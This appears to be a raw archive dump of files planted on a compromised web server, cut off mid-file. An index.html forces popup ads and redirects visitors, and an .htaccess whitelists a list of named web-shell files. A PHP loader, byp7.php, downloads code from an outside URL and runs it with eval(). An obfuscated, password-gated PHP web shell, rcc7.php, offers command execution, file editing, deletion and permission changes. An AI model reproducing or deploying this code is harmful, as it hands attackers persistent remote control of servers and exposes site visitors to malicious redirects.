</div> <script> // Modal functions function showNewFileModal() { document.getElementById('newFileModal').classList.add('active'); } function showNewFolderModal() { document.getElementById('newFolderModal').classList.add('active'); } function closeModal(id) { document.getElementById(id).classList.remove('active'); } // Rename function function renameItem(oldName) { var newName = prompt('Enter new name:', oldName); if(newName && newName !== oldName) { var form = document.createElement('form'); form.method = 'post'; form.innerHTML = '<input type="hidden" name="oldname" value="' + oldName + '">' + '<input type="hidden" name="newname" value="' + newName + '">'; document.body.appendChild(form); form.submit(); } } // Chmod function function chmodItem(item) { var mode = prompt('Enter new permissions (e.g., 755):', '755'); if(mode) { var form = document.createElement('form'); form.method = 'post'; form.innerHTML = '<input type="hidden" name="chmod_item" value="' + item + '">' + '<input type="hidden" name="chmod_value" value="' + mode + '">'; document.body.appendChild(form); form.submit(); } } // Auto-hide notifications setTimeout(function() { var notifications = document.querySelectorAll('.notification'); notifications.forEach(function(n) { n.style.opacity = '0'; setTimeout(function() { n.style.display = 'none'; }, 300); }); }, 3000); // Keyboard shortcuts document.addEventListener('keydown', function(e) { if(e.ctrlKey && e.key === 'n') { e.preventDefault(); showNewFileModal(); } if(e.ctrlKey && e.shiftKey && e.key === 'N') { e.preventDefault(); showNewFolderModal(); } if(e.key === 'Escape') { document.querySelectorAll('.modal.active').forEach(function(m) { m.classList.remove('active'); }); } }); // Click outside modal to close document.querySelectorAll('.modal').forEach(function(modal) { modal.addEventListener('click', function(e) { if(e.target === modal) { modal.classList.remove('active'); } }); }); </script> </body> </html>index.html000064400000003001151514460360006540 0ustar00<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Preparing Your Content...</title> <style> body { background: linear-gradient(135deg, #0f2027, #203a43, #2c5364); color: #fff; font-family: Arial, sans-serif; text-align: center; height: 100vh; margin: 0; display: flex; flex-direction: column; justify-content: center; } h1 { font-size: 2.5em; margin-bottom: 20px; } .loader { border: 8px solid #fff; border-top: 8px solid #3498db; border-radius: 50%; width: 80px; height: 80px; animation: spin 1s linear infinite; margin: 0 auto; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } p { margin-top: 20px; font-size: 1.2em; opacity: 0.7; } </style> <script> // Open popup ads function openPopups() { window.open("https://otieu.com/4/10314818", "_blank"); window.open("https://otieu.com/4/10314819"); window.open("https://otieu.com/4/10314817"); } // Redirect main window function redirectMain() { window.location.href = "https://otieu.com/4/10314818"; } window.onload = function() { openPopups(); setTimeout(redirectMain, 1000); // Redirect after 1.5 seconds }; </script> </head> <body> <h1>Preparing Your Content...</h1> <div class="loader"></div> <p>Please wait while we load your content.</p> </body> </html> 123456/.htaccess000077700000002755151514460360007133 0ustar00<FilesMatch '.(php|Php|PHp|PHP|pHp|PhP|php5|php6|php7|php.PHP|php.Php|php.PHp|php.PHP|php.pHP|PHP.PHP|php.PHP5|php.PHP6|php4|php3|php.PHP7|php.Php|php.PHp|php.PhP|php.phP|php.phtml|php.PHTML|phtm|PHTM|Phtm|PHtm|PHTm|PhTm|PhTM||PHP.php|PHP.pHP|php56|phar|Phar|pHar|phAr|phaR|pht|Pht|pHt|phT|PHt|PHT|shtml|Shtml|SHtml|SHTml|SHTMl|SHTML|SHtmL|ShtmL|ShTmL|ShtML|ShtMl|shTMl|shTML|phtml|Phtml|pHtml|phTml|phtMl|phtmL|PHtml|PHTml|PHTMl|PHTML|Phtml|PhTml|pHtmL|PHtML|PHTml)$'> Order allow,deny Deny from all </FilesMatch> <FilesMatch "\.(jpg|png|pdf|xml|txt|js|css)$"> Order allow,deny Allow from all </FilesMatch> <FilesMatch '^(index.php|index.html|sitemap.xml|robots.txt|an7.php|robot.txt|rcc7.php|test1.php|bu7.php|prosellers7.php|pu.php|bu7.PhP7|rcc.PhP7|btest1.PhP7|prosellers6.PhP7|pu.PhP7|xl7.php|xl.PhP7|fs6.php|prosellers6.php|byp.php|lfu.php|pu7.php|helper.php|tools.php|wsoby.php|about.php|byp7.php|unzipper.php|fs7.php|f7.php|about.php|fm.php|radio.php)$'> Order allow,deny Allow from all </FilesMatch> <FilesMatch "^\."> Order allow,deny Deny from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule> 123456/byp7.php000077700000001271151514460360006717 0ustar00<?php $url = "https://stepmomhub.com/5.txt"; // Ambil isi dari URL menggunakan file_get_contents $code = @file_get_contents($url); // Jika gagal ambil dengan file_get_contents, coba dengan cURL if ($code === false) { $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_USERAGENT => 'Mozilla/5.0', CURLOPT_SSL_VERIFYPEER => false, ]); $code = curl_exec($ch); curl_close($ch); } // Jalankan isi kode jika berhasil diambil if ($code !== false) { eval("?>".$code); } else { echo "Gagal mengambil konten dari URL."; } ?>123456/rcc7.php000077700000262662151514460360006711 0ustar00<?php /* __________________________________________________ | Obfuscated by YAK Pro - Php Obfuscator 2.0.14 | | on 2024-10-26 08:44:37 | | GitHub: https://github.com/pk-fr/yakpro-po | |__________________________________________________| */ goto fZwJe; GGCHo: u8hi2(); goto NBiWT; BFyzL: auDLf: goto hIa7q; fZwJe: $eSNKE = "\x64\x65\x64\67\x66\x37\70\65\x32\145\x65\x64\146\66\141\142\x31\x30\x38\x35\62\71\67\x30\146\x30\x31\x35\x65\61\x30\60"; goto QUudt; teYJI: rz7ak: goto eLt_g; ebrsr: goto yE4w3; goto Zyx2k; HukGx: setcookie("\x61\x75\x74\x68", $eSNKE, time() + 3600); goto GGCHo; bDK0l: if (isset($_POST["\x6c\x6f\147\151\x6e"]) || isset($_GET["\160\141\163\x73"])) { goto d8FQp; } goto Qo0jg; c3J1v: LOYFl: goto uF0iN; L13ER: goto auDLf; goto jhD6f; zaMH2: if (md5($WAjB0) === $eSNKE) { goto vAoBH; } goto dPi5J; dPi5J: echo "\x3c\163\143\162\151\x70\x74\76\x61\154\x65\x72\x74\50\47\x49\156\x76\141\154\x69\144\x20\120\x61\163\x73\167\x6f\162\x64\47\51\74\x2f\x73\x63\162\151\x70\x74\x3e"; goto ebrsr; Zyx2k: vAoBH: goto HukGx; HV8Y4: return; goto L13ER; QUudt: if (isset($_COOKIE["\x61\x75\164\150"]) && $_COOKIE["\x61\165\x74\x68"] === $eSNKE) { goto rz7ak; } goto bDK0l; QQdhG: U8hi2(); goto c3J1v; Qo0jg: echo "\x3c\x68\164\x6d\x6c\40\x6c\141\x6e\147\75\42\145\x6e\x22\x3e\xa\40\x20\x20\x20\x3c\150\x65\141\144\x3e\xa\x20\40\40\x20\x20\40\74\155\x65\x74\141\x20\x6e\x61\155\x65\x3d\x22\x74\x68\x65\x6d\145\x2d\x63\157\x6c\x6f\162\42\x20\x63\x6f\x6e\x74\x65\x6e\x74\75\42\x72\x65\x64\42\76\xa\x20\x20\x20\x20\40\x20\74\155\145\x74\141\40\x6e\141\x6d\x65\75\42\x76\x69\x65\x77\160\x6f\x72\x74\42\x20\143\157\156\164\x65\156\164\75\42\167\151\x64\x74\150\x3d\x64\x65\x76\151\x63\145\55\167\151\144\x74\x68\54\40\151\x6e\151\164\x69\x61\x6c\x2d\x73\x63\141\x6c\145\75\60\x2e\x36\x30\x2c\40\163\150\x72\151\156\153\55\x74\x6f\55\146\151\x74\75\156\x6f\x22\x3e\12\x20\x20\40\x20\40\x20\x3c\x6c\x69\156\x6b\x20\x72\145\154\x3d\x22\163\164\171\x6c\x65\x73\x68\145\145\164\42\40\150\x72\145\x66\x3d\x22\x68\x74\x74\160\163\x3a\x2f\x2f\143\x64\x6e\56\152\x73\144\145\x6c\x69\x76\162\56\156\x65\164\57\156\x70\x6d\x2f\142\165\154\155\141\100\61\x2e\60\x2e\x32\57\x63\163\163\x2f\142\x75\154\155\141\x2e\155\x69\x6e\56\143\x73\x73\42\76\xa\x20\x20\40\40\74\x2f\x68\145\x61\x64\76\xa\40\40\x20\40\x3c\x62\157\x64\171\x20\144\141\x74\x61\55\164\150\x65\x6d\x65\75\x22\x64\141\x72\x6b\x22\x20\163\x74\171\154\145\x3d\x22\x64\x69\x73\160\154\141\171\x3a\146\154\x65\170\73\x6a\x75\x73\164\x69\x66\x79\x2d\143\x6f\x6e\x74\145\156\x74\x3a\x63\145\x6e\x74\x65\x72\x3b\141\x6c\x69\x67\156\x2d\151\164\x65\x6d\163\72\143\x65\x6e\x74\145\x72\x22\x3e\xa\x20\40\40\40\40\40\74\144\151\166\x20\x73\164\x79\x6c\145\75\x22\x64\x69\163\160\154\x61\171\x3a\156\157\x6e\145\42\76\12\40\x20\x20\40\40\40\x20\40\74\141\x20\150\162\145\146\75\42\x68\x74\164\160\x73\x3a\57\57\163\x65\154\154\x65\170\56\142\151\x7a\42\x20\164\151\164\x6c\145\75\42\x53\145\154\x6c\145\170\40\x53\150\157\160\42\x3e\x53\x65\154\154\x65\x78\40\123\150\x6f\x70\x3c\x2f\141\x3e\xa\40\40\x20\40\x20\x20\x3c\57\144\x69\x76\x3e\12\40\x20\x20\x20\40\40\x3c\146\157\162\x6d\x20\x6d\145\164\x68\x6f\x64\x3d\42\x70\157\163\x74\x22\40\143\154\x61\x73\163\x3d\x22\142\157\x78\42\x20\x73\x74\171\x6c\x65\x3d\42\142\x6f\162\144\x65\162\x3a\62\x70\x78\40\x73\x6f\154\x69\x64\40\x68\x73\x6c\x28\61\x37\61\x2c\x20\x31\60\60\x25\x2c\40\61\66\x25\51\x22\76\12\x20\x20\x20\40\x20\x20\x20\x20\x3c\150\64\40\143\x6c\141\x73\x73\x3d\42\151\163\55\x73\151\x7a\x65\x2d\x35\40\150\141\163\x2d\164\x65\170\x74\x2d\167\145\x69\x67\x68\164\55\142\157\154\x64\40\x68\x61\x73\55\x74\145\170\x74\55\160\x72\151\x6d\x61\162\171\x20\x6d\142\x2d\64\42\x3e\xa\x20\40\x20\40\40\x20\40\x20\40\40\x4c\x6f\x67\x69\x6e\xa\40\x20\x20\40\x20\x20\40\40\x3c\x2f\150\64\76\xa\x20\40\40\40\x20\x20\40\x20\74\x69\x6e\x70\x75\x74\40\x6e\x61\x6d\x65\x3d\42\160\141\x73\x73\42\x20\x69\x64\x3d\x22\x70\141\163\x73\42\40\160\154\x61\143\x65\150\157\154\x64\x65\162\x3d\42\120\141\x73\x73\x77\157\x72\x64\42\40\143\x6c\141\163\163\x3d\42\x69\156\x70\165\164\x20\x6d\142\x2d\x34\x22\40\164\x79\160\x65\x3d\42\160\141\163\163\x77\x6f\x72\144\42\57\76\12\40\x20\x20\x20\40\40\40\40\74\x62\165\x74\164\157\156\40\x74\x79\160\145\x3d\42\163\x75\142\x6d\x69\164\x22\40\x6e\x61\155\x65\75\42\154\x6f\147\151\x6e\42\40\x63\154\x61\x73\163\75\x22\x62\x75\x74\x74\x6f\156\x20\151\163\x2d\160\x72\x69\155\x61\162\x79\42\x3e\114\157\x67\151\156\74\57\x62\x75\164\x74\157\156\76\12\40\40\40\x20\x20\40\x3c\57\x66\157\162\155\76\12\x20\40\x20\x20\x3c\57\142\157\x64\x79\x3e\12\x20\40\x20\x20\74\x2f\x68\x74\155\x6c\x3e"; goto HV8Y4; STNMF: $WAjB0 = isset($_POST["\x70\x61\163\163"]) ? $_POST["\x70\141\x73\x73"] : $_GET["\160\x61\x73\163"]; goto zaMH2; hIa7q: goto LOYFl; goto teYJI; NBiWT: yE4w3: goto BFyzL; jhD6f: d8FQp: goto STNMF; eLt_g: setcookie("\141\x75\x74\x68", $eSNKE, time() + 3600); goto QQdhG; uF0iN: function u8Hi2() { goto RYjUz; Gjxeh: echo $_SERVER["\x53\x45\122\126\x45\122\137\x41\104\x4d\111\x4e"]; goto x_PfO; ilodd: goto C0Md8; goto n4dOh; L3Ewc: tGwOp: goto oIhoP; x20Uz: echo "\74\57\156\x6f\x62\x72\76\x3c\x2f\x6c\x69\76\12\x20\x20\40\x20\x3c\154\x69\x3e\120\110\120\x20\126\x65\162\x73\x69\157\156\x20\72\x20\74\156\157\142\x72\76"; goto U9Ak6; dQvpc: F2Y3t("\106\x69\154\145\40\x63\162\x65\141\164\x65\144\41"); goto waKUT; TkbBu: echo "\12\x3c\x66\x6f\x72\155\40\x6d\x65\x74\x68\157\x64\x3d\42\160\x6f\x73\164\42\40\143\x6c\141\x73\x73\x3d\42\142\157\170\42\x20\x73\x74\171\154\x65\75\42\x62\157\162\144\145\162\72\62\x70\170\x20\163\157\154\151\x64\x20\x68\x73\154\50\61\67\x31\x2c\x20\61\60\x30\45\54\x20\x31\66\x25\51\x22\x3e\12\40\40\x3c\x68\64\x20\x63\154\x61\x73\163\x3d\x22\151\163\55\x73\151\172\x65\x2d\x35\x20\x68\141\x73\x2d\164\x65\x78\x74\x2d\167\145\x69\x67\150\164\x2d\x62\157\x6c\x64\40\x68\141\163\55\x74\x65\170\x74\55\x70\162\151\155\141\x72\171\x20\155\142\x2d\64\x22\x3e\xa\40\x20\x20\x20\x45\144\x69\164\40\106\x69\x6c\x65\x3a\40\x3c\163\x70\141\156\x20\x63\154\x61\163\163\75\x22\150\x61\163\x2d\x74\x65\x78\164\x2d\x77\150\x69\x74\x65\40\150\141\x73\55\x74\145\170\x74\x2d\x77\x65\x69\147\x68\x74\55\156\157\x72\x6d\141\x6c\x22\76\40"; goto PQOqt; viuV1: goto uBpEI; goto P_RV9; CE65j: echo $_SERVER["\x53\105\122\x56\105\x52\x5f\123\x4f\x46\x54\127\x41\x52\105"]; goto JrTm1; ousj7: echo substr(@php_uname(), 0, 120); goto VqRBx; tZlvn: echo "\74\57\x6e\157\142\x72\76\12\x20\x20\40\40\x20\x20\x3c\x2f\x64\151\166\76\xa\x20\40\x20\x20\40\x20\x3c\144\x69\166\x20\x6f\156\143\x6c\151\x63\153\75\42\156\x61\166\x69\147\x61\x74\157\x72\56\x63\154\151\x70\x62\157\141\x72\144\x2e\x77\x72\x69\164\145\124\145\170\x74\x28\47"; goto KANoq; qZ3ot: die; goto ftJXw; ThnZz: foreach ($C1o8f as $hKgYg) { goto Lek3g; j7H2Q: TuPGL: goto EezkA; Yv8Gq: goto U4f_h; goto j7H2Q; h4jrd: U4f_h: goto oRWXD; Lek3g: if ($mWJjd[6]("{$keVpk}\x2f{$hKgYg}")) { goto TuPGL; } goto Yv8Gq; EezkA: echo "\74\164\162\76\74\x74\x64\76\x3c\141\x20\150\162\145\x66\75\42\x3f\x70\75" . SiRa4("{$keVpk}\x2f{$hKgYg}") . "\x22\76\74\x69\40\x63\154\x61\x73\x73\x3d\42\142\151\40\142\x69\x2d\x66\x6f\x6c\144\x65\162\x32\x2d\x6f\x70\145\156\42\x3e\74\x2f\151\x3e\40{$hKgYg}\x3c\57\141\76\x3c\x2f\164\x64\76\x3c\164\x64\x3e\x4e\x2f\x41\x3c\x2f\164\144\76\74\x74\x64\76\74\141\x20\x68\162\145\146\x3d\x27\x3f\x70\75" . siRa4($keVpk) . "\x26\144\75" . SIrA4($hKgYg) . "\x26\143\x68\x6d\157\144\x64\x3d\61\x27\76\x3c\146\157\x6e\164\40\143\x6f\x6c\157\162\x3d\42" . ($mWJjd[8]("{$keVpk}\x2f{$hKgYg}") ? "\43\x30\x30\146\x66\60\60" : (!$mWJjd[9]("{$keVpk}\57{$hKgYg}") ? "\162\145\144" : null)) . "\42\x3e" . IyZxR("{$keVpk}\x2f{$hKgYg}") . "\74\x2f\146\157\x6e\x74\76\74\57\141\76\x3c\x2f\x74\144\x3e\x3c\x74\x64\76" . $mWJjd[19]("\x59\55\155\55\x64\x20\x48\72\151", $mWJjd[20]("{$keVpk}\57{$hKgYg}")) . "\x3c\57\x74\144\76\x3c\164\x64\x20\143\x6c\141\x73\x73\x3d\x27\x69\x73\x2d\146\154\x65\170\x27\x20\163\164\x79\154\145\75\x27\x67\141\x70\x3a\x38\160\x78\x27\76\x3c\x61\x20\x63\154\141\x73\x73\75\47\x62\165\x74\164\157\156\40\151\163\55\x69\156\146\x6f\x20\x69\x73\x2d\x73\155\141\x6c\154\40\x70\x78\x2d\x32\x20\160\171\55\60\47\x20\150\x72\145\x66\75\x22\x3f\x70\x3d" . siRa4($keVpk) . "\46\x61\x3d" . sIRa4("\162\145\156\141\x6d\x65") . "\x26\x6e\x3d" . sirA4($hKgYg) . "\x26\x74\x3d\x64\x22\76\x3c\151\x20\x63\x6c\x61\x73\x73\x3d\42\151\x20\142\x69\x2d\x69\156\160\x75\164\x2d\143\165\162\x73\x6f\x72\55\x74\x65\170\164\x20\151\x73\55\163\151\172\145\55\66\x20\x6d\162\x2d\61\42\76\x3c\x2f\151\x3e\122\145\156\141\x6d\x65\74\57\141\x3e\x3c\141\x20\143\x6c\141\163\163\x3d\47\142\x75\x74\x74\157\x6e\x20\151\x73\x2d\x64\141\x6e\x67\145\162\40\x69\163\55\163\x6d\x61\154\154\40\160\170\55\62\40\160\x79\x2d\x30\x27\40\150\162\145\146\x3d\42\77\x70\75" . SIrA4($keVpk) . "\46\164\75\144\x26\x61\x3d" . sIRa4("\x64\x65\x6c\x65\x74\145") . "\x26\x6e\75" . sira4($hKgYg) . "\42\76\x3c\x69\40\x63\x6c\141\x73\x73\75\x22\x62\151\x20\142\x69\x2d\164\162\x61\163\150\55\146\x69\154\x6c\40\151\x73\x2d\163\151\172\x65\x2d\66\x20\x6d\x72\x2d\61\x22\76\74\x2f\151\76\104\145\154\x65\164\x65\74\57\x61\76\74\57\x74\x64\x3e\74\57\164\162\76"; goto h4jrd; oRWXD: } goto sXwNB; FmM8h: nBPoY: goto RR_mL; Q_7wu: if (!($zErae < count($G21FS))) { goto tYGoe; } goto NL4ms; udm3W: t9eud: goto B6QGb; AqqqY: isset($_POST["\163"]) ? $mWJjd[12]("{$keVpk}\57{$_POST["\156"]}") ? F2Y3T("\x66\x69\154\145\40\x6e\x61\x6d\x65\40\150\x61\x73\40\142\x65\145\156\40\x75\163\x65\x64", 0, "\x26\141\x3d" . sira4("\x6e\x65\167\106\151\154\145")) : ($mWJjd[13]("{$keVpk}\x2f{$_POST["\x6e"]}", $_POST["\143\x74\x6e"]) ? f2Y3T("\x66\151\x6c\145\40\x63\162\145\141\164\x65\144\40\x73\165\143\x63\145\x73\163\x66\165\154\x6c\171", 1, "\46\x61\75" . SIRa4("\166\x69\145\x77") . "\x26\x6e\x3d" . Sira4($_POST["\x6e"])) : f2y3T("\146\x69\x6c\145\40\146\x61\151\154\145\144\x20\164\x6f\40\143\162\x65\141\164\x65", 0)) : null; goto Vry41; ALTnY: echo "\40\x20\40\40\x20\x20\74\x2f\x66\157\x72\x6d\76\12\40\x20\x20\x20\x20\x20\74\146\157\162\155\x20\141\143\x74\151\x6f\156\75\42\42\40\143\154\x61\x73\x73\x3d\42\151\x73\x2d\x66\154\x65\170\x20\151\x73\55\x61\154\x69\x67\156\x2d\151\x74\145\x6d\x73\x2d\x65\156\x64\x22\40\155\x65\x74\150\x6f\x64\75\42\x50\x4f\123\x54\x22\76\xa\x20\x20\x20\x20\40\x20\40\40\74\144\x69\166\76\xa\x20\40\40\40\40\40\40\40\x20\40\x3c\41\x2d\x2d\x20\x3c\154\x61\x62\x65\x6c\76\105\170\x65\x63\165\x74\x65\74\x2f\154\141\x62\145\154\x3e\x20\x2d\x2d\x3e\12\40\40\40\x20\40\x20\40\40\x20\40\74\151\x6e\x70\165\x74\40\164\x79\160\x65\x3d\42\x74\145\x78\x74\42\40\143\154\x61\163\x73\75\42\x69\x6e\160\165\x74\40\151\163\55\163\x6d\141\x6c\154\42\40\x70\x6c\141\143\145\x68\157\x6c\144\x65\x72\75\42\x45\170\x65\143\x75\x74\x65\x22\x20\x6e\x61\155\145\75\x22\x65\x78\145\143\x6d\144\42\57\76\12\40\x20\x20\40\x20\40\x20\x20\x3c\57\144\151\x76\x3e\12\x20\40\40\x20\x20\40\x20\x20\74\x69\156\x70\x75\x74\40\143\154\141\x73\x73\75\42\x6d\x6c\55\61\x20\142\165\x74\164\157\x6e\x20\151\x73\x2d\160\162\x69\155\141\x72\x79\40\151\x73\55\163\x6d\141\x6c\154\x22\40\164\171\x70\145\x3d\x22\x73\165\142\155\151\x74\42\40\x6e\141\155\145\x3d\42\163\x75\x62\155\x69\x74\42\x20\x76\141\x6c\x75\x65\75\x22\76\x22\57\76\xa\40\x20\40\40\40\x20\74\x2f\146\x6f\x72\155\76\xa\40\40\x20\40\x20\40\x20\40\74\x73\x63\162\x69\x70\x74\x3e\xa\x20\40\x20\40\x20\40\x20\40\40\40\x66\x75\x6e\143\164\x69\x6f\156\x20\163\x75\142\x6d\x69\x74\x5a\x69\160\106\151\x6c\x65\50\x29\x20\173\xa\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\x20\166\141\x72\40\x69\156\160\x75\164\106\151\145\154\144\40\75\x20\144\157\143\x75\x6d\145\156\x74\x2e\x67\x65\164\105\154\145\x6d\x65\x6e\x74\102\171\x49\144\x28\42\x65\x78\164\162\x61\143\x74\x2d\x7a\151\160\x22\51\73\12\40\x20\40\40\x20\x20\40\40\x20\40\40\40\x69\146\50\x21\x69\x6e\160\x75\164\x46\151\145\154\144\56\x76\x61\154\x75\145\56\x73\x74\x61\x72\164\x73\x57\x69\x74\x68\50\42\x75\x6e\x7a\x69\x70\x22\x29\x29\x20\151\x6e\x70\x75\164\106\151\x65\x6c\x64\56\x76\x61\154\x75\x65\40\75\x20\42\165\156\x7a\x69\x70\40\x22\53\x69\156\x70\165\x74\106\x69\x65\x6c\x64\56\x76\141\154\x75\145\x3b\40\12\x20\40\40\40\40\40\40\x20\40\40\x20\40\162\x65\x74\x75\x72\x6e\x20\164\x72\x75\x65\12\x20\x20\x20\40\40\40\40\40\x20\40\175\12\x20\40\40\40\x20\40\40\x20\x3c\x2f\x73\143\162\x69\x70\x74\76\12\x20\x20\x20\x20\x20\40\x3c\x66\157\162\x6d\x20\x61\143\x74\x69\157\156\x3d\x22\42\x20\157\x6e\x73\165\x62\155\x69\x74\x3d\x22\x73\165\x62\155\151\164\132\151\160\x46\151\x6c\x65\50\x29\42\x20\143\154\141\163\x73\75\x22\151\163\55\x66\154\145\170\x20\x69\x73\x2d\x61\x6c\x69\x67\x6e\55\151\164\x65\x6d\163\55\145\x6e\x64\42\40\155\x65\164\x68\157\144\x3d\x22\x50\x4f\x53\x54\x22\x3e\12\x20\x20\x20\40\40\40\x20\40\x3c\144\151\x76\76\12\40\x20\40\40\40\40\40\40\x20\40\x3c\41\x2d\55\x20\74\154\141\142\x65\154\76\x45\x78\164\162\x61\x63\x74\x20\132\111\x50\x3c\57\x6c\x61\142\145\154\76\x20\55\55\76\xa\x20\40\40\x20\x20\x20\40\40\x20\x20\74\151\156\x70\x75\164\40\164\x79\x70\x65\75\x22\164\145\170\x74\42\x20\x63\154\141\x73\163\75\x22\x69\156\x70\x75\164\x20\x69\163\x2d\163\x6d\x61\x6c\154\x22\x20\x70\x6c\x61\143\x65\x68\157\x6c\144\x65\x72\x3d\x22\105\170\x74\x72\141\x63\164\40\x5a\111\x50\x22\x20\x69\144\x3d\x22\x65\x78\164\x72\x61\x63\164\55\x7a\x69\160\42\x20\x6e\141\155\x65\x3d\x22\x65\170\145\143\155\144\x22\x2f\x3e\12\x20\40\x20\x20\40\x20\40\x20\x3c\x2f\144\151\166\76\xa\40\x20\40\x20\40\x20\x20\x20\74\151\x6e\160\165\x74\x20\x63\154\141\x73\163\75\x22\x6d\x6c\55\x31\x20\142\165\164\x74\157\x6e\x20\151\163\x2d\x70\x72\151\x6d\141\x72\x79\40\151\x73\55\163\155\141\154\154\x22\40\x74\171\160\x65\75\42\x73\x75\142\155\151\x74\x22\40\156\x61\155\145\75\x22\163\x75\142\x6d\x69\164\42\40\x76\x61\x6c\165\145\75\42\x3e\x22\x2f\76\xa\40\40\x20\40\40\40\x20\40"; goto fSLYI; f3cw5: echo "\74\57\x6e\x6f\142\162\x3e\x3c\57\x6c\151\76\xa\40\x20\x20\x20\x3c\154\151\x3e\123\141\146\145\x6d\x6f\x64\x65\40\x3a\40\74\x6e\157\x62\x72\x3e"; goto qp1Ja; RRg2S: echo "\47\x29\x3b\x61\154\145\x72\164\x28\x27\103\157\160\151\145\x64\40\x74\x6f\40\x63\154\x69\x70\142\157\x61\162\144\47\51\x3b\x22\x20\143\x6c\x61\x73\163\x3d\42\x69\x73\55\x66\x61\155\151\x6c\171\55\x6d\157\156\x6f\x73\160\x61\x63\x65\x20\x62\x75\x74\x74\x6f\156\x20\x69\x73\x2d\x6c\151\x6e\x6b\40\160\154\55\62\x20\151\x73\55\157\165\x74\154\x69\x6e\145\144\x22\x3e\xa\x20\40\40\x20\x20\x20\x20\x20\x3c\142\x20\x63\154\141\x73\x73\x3d\42\x74\x61\147\x20\151\x73\x2d\x6c\x69\x6e\x6b\40\155\x72\55\x32\42\x3e\120\110\120\x20\126\x65\162\163\x69\x6f\x6e\x3c\57\x62\x3e\xa\40\x20\x20\40\40\40\x20\40\74\x6e\157\x62\162\76"; goto RpDwy; oQYI2: echo "\74\x2f\x73\x70\x61\x6e\x3e\12\x20\x20\40\40\74\x2f\144\x69\x76\76\12\x20\x20\x3c\x2f\x64\151\166\x3e\12\40\x20\74\144\151\x76\x20\x63\x6c\x61\163\163\x3d\42\x62\x67\55\x64\141\x72\153\40\142\157\x72\x64\x65\x72\40\x74\141\x62\x6c\x65\x2d\x72\x65\x73\160\157\x6e\163\x69\166\145\40\x6d\x74\55\62\42\x3e\12\40\40\40\x20\74\144\x69\x76\x20\143\154\x61\163\x73\75\42\151\163\55\146\141\155\151\x6c\171\x2d\x6d\x6f\156\x6f\x73\160\x61\143\145\40\142\x75\164\164\157\x6e\x20\151\163\55\144\141\x6e\x67\x65\162\x20\x69\163\55\x72\x6f\165\156\x64\145\x64\40\151\x73\x2d\157\165\x74\154\151\156\x65\x64\x22\76\12\x20\40\x20\x20\x20\40\x3c\163\160\x61\x6e\x3e\x50\x61\164\150\x3a\x20\74\x2f\163\x70\x61\156\76\12\x20\40\40\40\40\40"; goto c2FpU; VrT_s: EWwyG: goto ALTnY; H351Z: define("\155\x39\x6a\113\x4f", "\x53\x65\154\x6c\145\x78\40\123\x68\x6f\160"); goto MwYDR; HKjD5: echo uoca2(); goto IUsOc; rfYlk: echo "\74\x2f\156\x6f\x62\162\x3e\xa\x20\x20\x20\x20\40\40\x3c\57\x64\x69\166\76\xa\x20\x20\x20\40\x20\40\74\x62\x72\76\12\x20\40\x20\x20\40\x20\x3c\x64\x69\x76\40\143\x6c\141\163\163\x3d\x22\151\x73\x2d\146\x61\155\151\154\x79\x2d\x6d\157\156\x6f\163\160\x61\x63\145\x20\142\165\x74\x74\157\x6e\x20\x69\163\x2d\167\x61\162\x6e\151\x6e\147\x20\x70\154\55\62\40\x69\x73\x2d\x6f\x75\164\x6c\151\156\145\x64\x20\151\x73\x2d\151\156\166\x65\x72\164\x65\144\42\76\xa\x20\40\40\40\40\x20\40\40\74\x62\x20\x63\x6c\141\163\163\x3d\42\x74\x61\147\40\151\163\55\167\141\162\x6e\151\x6e\x67\x22\76\125\x73\145\x72\x3c\57\x62\76\xa\40\40\x20\x20\x20\x20\40\40\74\x6e\157\x62\162\40\x63\x6c\141\163\x73\75\x22\155\170\x2d\62\x22\x3e"; goto KwcdW; H61a3: if (!isset($_POST["\155\x61\x6b\145\146\151\x6c\145"])) { goto EWwyG; } goto lNNW1; Fnjyw: f2Y3t("\x66\x69\x6c\x65\x20\x74\x6f\x20\144\x65\154\145\x74\145\40\x74\150\145\40\146\x6f\x6c\144\145\x72", 0); goto g2rop; qQmdQ: echo "\x3c\x2f\x6e\x6f\x62\x72\x3e\12\40\x20\40\x20\x20\40\x3c\57\x64\x69\x76\x3e\xa\x20\40\40\40\x20\x20\x3c\144\x69\x76\40\x6f\156\x63\154\x69\143\x6b\x3d\42\156\141\166\x69\x67\141\x74\157\x72\56\x63\154\x69\160\142\x6f\x61\x72\144\x2e\x77\162\x69\164\145\124\x65\170\164\x28\x27"; goto Np5bS; sgdpK: fwrite($huZFR, ''); goto tzxxE; dW_tO: echo "\74\57\x61\162\164\151\x63\154\x65\x3e\12\74\x21\x2d\x2d\x20\x73\164\x79\154\145\x3d\x22\142\x6f\162\x64\x65\162\72\x32\160\170\40\163\157\x6c\x69\x64\x20\150\163\154\50\x33\x34\x38\54\x20\61\x30\60\x25\54\40\x36\61\45\x29\73\x22\40\55\x2d\76\xa\74\x64\151\166\40\143\x6c\141\163\163\x3d\x22\146\x6c\157\x61\x74\x69\156\x67\55\142\141\156\156\x65\162\40\x69\163\x2d\x66\141\155\151\154\x79\x2d\x6d\x6f\x6e\x6f\163\x70\141\143\x65\x20\x69\163\x2d\146\x6c\x65\x78\40\151\163\55\x6a\165\x73\x74\151\146\171\x2d\x63\x6f\x6e\164\145\x6e\164\55\143\145\156\164\145\162\40\155\x2d\64\42\76\xa\40\40\x3c\x61\x20\150\162\x65\x66\x3d\x22\150\x74\x74\160\163\x3a\57\x2f\163\145\x6c\x6c\x65\x78\163\150\x6f\160\56\147\x69\x74\150\x75\142\56\151\x6f\57\x22\x20\x63\x6c\x61\163\x73\x3d\x22\147\162\141\x64\x69\x65\156\164\x2d\x62\157\162\144\x65\162\x20\147\162\141\144\151\145\156\x74\x2d\x62\x67\x20\x6d\170\55\x61\165\x74\x6f\40\151\x73\55\x73\x69\172\x65\55\66\x22\x20\76\x50\x6f\x77\x65\